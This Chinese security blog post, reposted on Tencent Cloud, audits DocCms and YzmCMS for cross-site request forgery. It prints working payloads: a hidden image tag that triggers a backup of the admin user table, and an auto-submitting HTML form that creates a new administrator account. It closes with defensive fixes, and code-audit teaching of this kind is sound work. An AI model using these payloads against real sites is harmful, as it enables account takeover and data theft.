前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【代码审计】两个简单的CSRF漏洞实例

【代码审计】两个简单的CSRF漏洞实例

作者头像
Bypass
发布2019-07-08 17:23:14
1K0
发布2019-07-08 17:23:14
举报
文章被收录于专栏:BypassBypassBypass

00

前言

CSRF(Cross-site request forgery)跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站,这边分享两个漏洞代码示例。

01

实例一:利用CSRF备份数据库

环境搭建:

DocCms官网:http://www.doccms.com

程序源码:DocCms2016

下载地址:https://pan.baidu.com/s/1pLclifL

代码分析:

在\doccms\admini\controllers\system\back.php中,

export函数直接对提交上来的参数tables/sizelimit进行处理,导出sql备份文件,未对访问来源进行有效验证,导致数据库备份模块存在CSRF漏洞。

漏洞利用:

1、构造CSRF漏洞利用代码,只备份管理员用户表doc_user:

<H2> CRSFTester</H2>

<img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=开始备份数据" width="0" height="0" border="0"/>

2、在网站首页在线留言提交CSRF漏洞利用代码:

3、当管理员在后台查看留言信息时,自动备份数据库到/doccms/temp/data目录下:

02

实例二:利用CSRF添加管理员

环境搭建:

YzmCMS官网:http://www.yzmcms.com

程序源码下载:http://pan.baidu.com/s/1pKA4u99

代码分析:

漏洞文件位置: /application/admin/controller/admin_manage.class.php第35-59行中:

这段函数中进行添加管理员操作,只进行管理员身份验证,未对访问来源进行识别,导致程序在实现上存在CSRF漏洞。

漏洞利用:

1、构造CSRF漏洞利用代码如下:

1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> 
2.  
3. <html> 
4. <head> 
5. <title>OWASP CRSFTester Demonstration</title> 
6. </head> 
7. <body onload="javascript:fireForms()"> 
8. <script language="JavaScript"> 
9. var pauses = new Array( "68" );  
10.  
11. function pausecomp(millis)  
12. {  
13.     var date = new Date();  
14.     var curDate = null;  
15.  
16.     do { curDate = new Date(); }  
17.     while(curDate-date < millis);  
18. }  
19.  
20. function fireForms()  
21. {  
22.     var count = 1;  
23.     var i=0;  
24.  
25.     for(i=0; i<count; i++)  
26.     {  
27.         document.forms[i].submit();  
28.  
29.         pausecomp(pauses[i]);  
30.     }  
31. }  
32.  
33. </script> 
34. <H2>OWASP CRSFTester Demonstration</H2> 
35. <form method="POST" name="form0" action="http://127.0.0.1:80/admin/admin_manage/add.html"> 
36. <input type="hidden" name="adminname" value="admin"/> 
37. <input type="hidden" name="password" value="abc123!"/> 
38. <input type="hidden" name="password2" value="abc123!"/> 
39. <input type="hidden" name="email" value=""/> 
40. <input type="hidden" name="realname" value=""/> 
41. <input type="hidden" name="roleid" value="1"/> 
42. <input type="hidden" name="dosubmit" value="1"/> 
43. </form> 
44. </body> 
45. </html> 

2、当管理员浏览该页面时,自动创建管理员账号admin

3、利用admin账号可成功登录后台进行任意操作。

03

修复建议

在服务端的防御,如验证HTTP Referer字段、在请求地址中添加token并验证、在HTTP头中自定义属性并验证。

04

END

不少CMS缺少对代码安全的考虑,CSRF仍然是一个普遍存在的安全问题。一些企业网站类型的CMS,利用CSRF备份数据、添加管理员等操作,都是很常见的漏洞场景。

Bypass

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-04-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Bypass 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档